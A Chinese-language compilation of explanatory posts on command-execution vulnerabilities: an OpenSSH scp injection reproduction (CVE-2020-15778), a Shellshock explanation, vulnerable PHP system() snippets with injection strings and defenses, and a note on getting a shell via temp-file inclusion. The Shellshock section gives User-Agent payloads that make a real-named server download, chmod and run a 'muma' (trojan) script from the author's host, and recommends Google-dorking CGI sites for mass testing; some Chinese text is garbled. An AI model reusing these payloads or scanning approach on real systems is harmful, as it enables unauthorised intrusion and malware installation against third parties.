‘壹’ CVE-2020-15778 Openssh命令注入漏洞复现
漏洞介绍:
OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听,连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发, 并以BSD样式的许可证提供,且已被集成到许多商业产品中。
2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响
漏洞环境:
漏洞利用条件:
scp命令:
1、先查看目标机器ssh版本:
2、利用scp命令,用kali对Ubuntu进行写文件,复制文件:
Ubuntu上成功复制了文件并执行了创建文件的命令,确认漏洞存在:
既然如此,直接反弹shell岂不美哉
这个漏洞可能适用于远程服务器禁用了ssh登录,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),其中有可能由以下几种方式实现:
详情参考:
iptables拒绝ssh访问但不阻止scp和rsync
又水一篇文章~ 欧耶!
OpenSSH 命令注入漏洞(CVE-2020-15778)
OpenSSH命令注入漏洞复现(CVE-2020-15778
CVE-2020-15778 Openssh-SCP 命令注入漏洞复现报告
‘贰’ bash远程命令执行漏洞 怎么修复
从昨天开始,这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个FreeBuf,大家都在谈论,“互联网的心脏又出血了”,可是,亲,到底怎么对网站进行测试?下面这段脚本
$ env x=‘() { :;}; echo vulnerable' bash -c "echo this is a test"
真的如各路大神们说的这样吗?
它与“心脏出血”漏洞不同,“心脏出血”只能借助窃取用户电脑信息,而bash 漏洞允许黑客远程控制电脑,拿到系统最高权限!其方法利用就更简单了——复制/粘贴一行命令代码即可!
Bash漏洞为什么能够执行
Bash漏洞的原理:
BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。
此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。
简单地说就是,Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。
Bash漏洞与远程执行有啥联系
看到上面的解释,很多童鞋都理解成了本地的漏洞,然后很多人又觉得,本地有啥可以利用的,于是就忽略了这个神级漏洞的存在。我想说的是,这个漏洞,利用热度可以媲美当年的MS08-067,威力虽然弱了点,但远程控制电脑还是可以的。
首先解释一下cgi脚本。很多网站类似下面的链接:
GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
后台不仅仅用python、Perl来解释执行并反馈给客户端Response,当然还可以换做bash脚本来解释执行提交上来的GET/POST请求。所以,理论上,你在HTTP请求中插入一个Bash命令,比如
() { :;}; wget http://www.myvps.org/testvul.sh
如果服务器的Bash解释器具有这个漏洞,那么在解释上面这这句话的时候就会执行wget请求,将一个恶意的testvul.sh文件下载到这个服务器,那为何说要放在HTTP头部呢?比如:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Referer: http://www..com
Connection: keep-alive
这是因为这个漏洞是bash解释器在解释某些特殊的变量时才可以触发的:
在于BASH处理以“(){”开头的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令
通过自定义这些参数的值为“函数环境变量”的形式,就可以触发后面的命令,恶意的客户仅需要发送特殊构造的HTTP请求就可以使服务器执行特定的命令(命令的权限和解释HTTP请求的Bash脚本环境相同)。
实际测试中,我的构造的测试请求:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www..com
Connection: keep-alive
过程是这样的:
我发送GET请求–>目标服务器cgi路径
目标服务器解析这个get请求,碰到UserAgent后面的参数,Bash解释器就执行了后面的命令
目标服务器wget–>我的myvps.org
我的vps记录下这个访问的IP地址
然后查看我的myvps.org服务器的访问记录,就可以确定目标有没有去访问,如果访问了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget请求访问的日志:
大神是这样测试漏洞的
当然,你也可以这样构造:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www..com
Connection: keep-alive
实际上执行了下面三句:
/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh;
./tmp/muma.sh
你会发现,脚本就执行了,这就是Bash漏洞利用测试的精髓。
当然,你可以利用批量Google搜索:
filetype:cgi inurl:cgi-bin site:jp
然后批量提交类似的GET请求,你就能做到批量测试了。测试表明,500个url里有6-8个有bash漏洞
‘叁’ 命令执行漏洞
命令执行漏洞的成因:
脚本语言(如PHP )优点是简洁、方便,但也伴随着一些问题,如速度慢、无法接触系统底层,如果我们开发的应用(特别是企业级的一些应用)需要-些除去web的特殊功能时,就需要调用一些外部程序。当应用需要调用一些外部程序去处理内容的情况下, 就会用到些执行系统命令桐漏的函数。如PHP中裤岩的system、exec. shell exec等,当用户可以控制命令执行函数中的参数时,将可以注入恶局纯烂意系统命令到正常命令中,造成命令执行攻击。
PHP中调用外部程序的主要有以下函数:
system
exec
shell_exec
passthru
popen
proc_popen
全局搜索这些函数,观察是否可以控制。
命令执行漏洞的防御:
可控点为待执行的程序
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“$arg”);
}
?>
[if !supportLists]l [endif]/?cmd=id
[if !supportLists]l [endif]/?cmd=pwd
[if !supportLists]l [endif]/?cmd=ifconfig
可控点是传入程序的整个参数(无引号包裹)
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ping -c 3 $arg”);
}
?>
我们能够控制的点是程序的整个参数,我们可以直接用&&或|等等,利用与、或、管道命令来执行其他命令。
/?cmd=127.0.0.1| ifconfig
可控点是某个参数的值(有双引号包裹)
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ls -al \”$arg\””);
}
?>
闭合双引号。
/?cmd=/home” | ifconfig;”
可控点是某个参数的值(有单引号包裹)
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ls -al ‘$arg’ ”);
}
?>
在单引号内的话,只是一个字符串,因此想要执行命令必须闭合单引号。
/cmd?=/home’ |ifconfig’
命令执行漏洞的防御:
1、能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable functions中禁用之。
2、对于可控点是程序参数的情况,使用escapeshellcmd函数进行过滤。
3、对于可控点是程序参数的值的情况,使用escapeshellarg函数进行过滤。
4、参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。
‘肆’ 利用代码执行漏洞可以getshell吗
利用代码执行漏洞可以getshell。注入方式是利用PHP上传数据默认输出缓冲区大小的限制,过大的数据包会被临时存放于tmp目录下,通过文件包含注入点,快速的将缓冲数据进行包含执行。临时文件执行后,会在tmp文件夹下写入木马,在执行过程中,连续使用ls命令查看tmp路径。
‘伍’ 远程代码执行漏洞是什么意思
简而言之,就是攻击者可以利用这个漏洞对你上网进行攻击,使你执行一些非预期的指令,甚至得到你的系统控制权。希望可以帮到你。